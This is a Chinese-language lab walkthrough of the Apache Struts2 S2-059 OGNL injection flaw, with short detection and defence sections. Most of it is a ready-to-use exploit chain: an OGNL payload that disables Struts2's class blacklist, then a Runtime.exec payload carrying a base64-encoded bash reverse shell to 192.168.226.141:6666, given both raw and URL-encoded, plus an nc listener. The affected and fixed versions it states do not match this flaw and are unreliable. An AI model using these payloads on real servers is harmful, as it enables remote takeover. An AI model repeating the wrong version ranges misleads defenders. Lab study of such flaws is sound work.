一、漏洞概述
1. 漏洞描述
Struts2 是 Apache 推出的基于 MVC 模式的轻量级 Web 框架,在处理标签属性(如
id
)值时,会将用户可控参数直接作为OGNL 表达式解析。攻击者可构造恶意 OGNL 表达式注入标签属性,框架解析时执行表达式中的恶意代码,导致远程代码执行(RCE)。2. OGNL 表达式基础
- 定义:Object-Graph Navigation Language(对象导航图语言),支持存取对象属性、调用方法、遍历对象结构及类型转换,功能强大但风险较高。
- 风险示例:在 Struts2 标签中,OGNL 可直接调用 Java 方法,如:
<s:property value="@java.lang.Runtime@getRuntime().exec('calc')" />
上述代码会直接执行本地计算器程序。若用户输入被直接拼接到 OGNL 表达式中,攻击者可注入恶意命令。
二、环境搭建与漏洞验证
1. 环境搭建
使用 vulhub 靶场快速部署漏洞环境:
cd vulhub/struts2/s2-059
docker-compose up -d # 启动后默认端口8080
2. 漏洞验证
访问
http://靶机IP:8080/?id=%25{4*5}
(%25
是%
的 URL 编码):- 若页面返回计算结果 “20”,证明 OGNL 表达式被解析,漏洞存在。
三、漏洞利用流程
1. 利用前提
需分两步执行:
- POC1:绕过 Struts2 的安全限制(如危险类 / 方法黑名单);
- POC2:执行恶意命令(如反弹 Shell)。
2. 详细攻击步骤
(1)反弹 Shell 准备
- 攻击机监听端口:
nc -lvvp 6666 # 等待靶机连接
- 构造反弹 Shell 命令并 Base64 编码(避免特殊字符干扰):
# 原始命令(反弹到攻击机6666端口) bash -i >& /dev/tcp/192.168.226.141/6666 0>&1 # Base64编码后 bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyNi4xNDEvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}
(2)POC1:绕过安全限制
构造解除危险类限制的 OGNL 表达式:
%{(#context=#attr['struts.valueStack'].context).
(#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.setExcludedClasses('')).
(#ognlUtil.setExcludedPackageNames(''))}
URL 编码后(便于通过 URL 参数传输):
%25%7b(%23context%3d%23attr%5b%27struts.valueStack%27%5d.context).
(%23container%3d%23context%5b%27com.opensymphony.xwork2.ActionContext.container%27%5d).
(%23ognlUtil%3d%23container.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).
(%23ognlUtil.setExcludedClasses(%27%27)).
(%23ognlUtil.setExcludedPackageNames(%27%27))%7d
(3)POC2:执行恶意命令
构造执行反弹 Shell 的 OGNL 表达式:
%{(#context=#attr['struts.valueStack'].context).
(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).
(@java.lang.Runtime@getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyNi4xNDEvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}'))}
URL 编码后:
%25%7b(%23context%3d%23attr%5b%27struts.valueStack%27%5d.context).
(%23context.setMemberAccess(%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS)).
(%40java.lang.Runtime%40getRuntime().exec(%27bash+-c+%7becho%2cYmFzaCAtaSA%2bJiAvZGV2L3RjcC8xOTIuMTY4LjIyNi4xNDEvNjY2NiAwPiYx%7d%7c%7bbase64%2c-d%7d%7c%7bbash%2c-i%7d%27))%7d
(4)执行攻击
- 访问
http://靶机IP:8080/?id=POC1_URL编码后
,执行 POC1 解除限制; - 访问
http://靶机IP:8080/?id=POC2_URL编码后
,执行 POC2 触发反弹 Shell; - 攻击机
nc
会话接收靶机反弹的 Shell,执行pwd
等命令验证权限:
四、漏洞核心原理
- OGNL 解析缺陷:Struts2 将标签属性(如
id
)的用户输入直接作为 OGNL 表达式解析,未过滤恶意内容; - 安全限制绕过:
POC1 通过获取框架上下文对象(context
、container
),修改OgnlUtil
的excludedClasses
和excludedPackageNames
为空,解除对Runtime
等危险类的限制; - 命令执行链:
POC2 利用@java.lang.Runtime@getRuntime().exec()
调用系统命令,结合反弹 Shell 实现远程控制。
五、漏洞识别方法
- 表达式验证:
向参数(如id
、name
)传入简单 OGNL 表达式(如%{4*5}
或 URL 编码后的%25{4*5}
),若返回计算结果,说明存在 OGNL 解析漏洞; - 错误信息分析:
构造畸形 OGNL 表达式(如%{invalid}
),若响应中出现ognl.OgnlException
等错误,表明框架正在解析 OGNL 表达式; - 版本核查:
确认目标 Struts2 版本,若为 2.5.16 及以下,结合上述特征可判断存在风险; - 工具扫描:
使用 Burp Suite 的 Struts2 插件、Nessus 等工具,自动检测是否存在 S2-059 等远程代码执行漏洞。
六、防御措施
- 版本升级:升级至 Struts2 2.5.17 及以上安全版本,官方已修复 OGNL 解析漏洞;
- 禁用静态方法调用:在
struts.xml
中配置:<constant name="struts.ognl.allowStaticMethodAccess" value="false" />
- 输入过滤:
- 严格校验用户输入的标签属性值,过滤 OGNL 特殊字符(如
%{
、@
、#
等); - 部署 WAF 拦截含恶意 OGNL 表达式的请求(如检测
@java.lang.Runtime@
等特征);
- 严格校验用户输入的标签属性值,过滤 OGNL 特殊字符(如
- 安全模式配置:启用 Struts2 安全模式,通过白名单限制允许执行的 OGNL 表达式范围;
- 日志监控:记录 OGNL 表达式解析日志,监控异常调用(如
exec
、Runtime
等关键字)。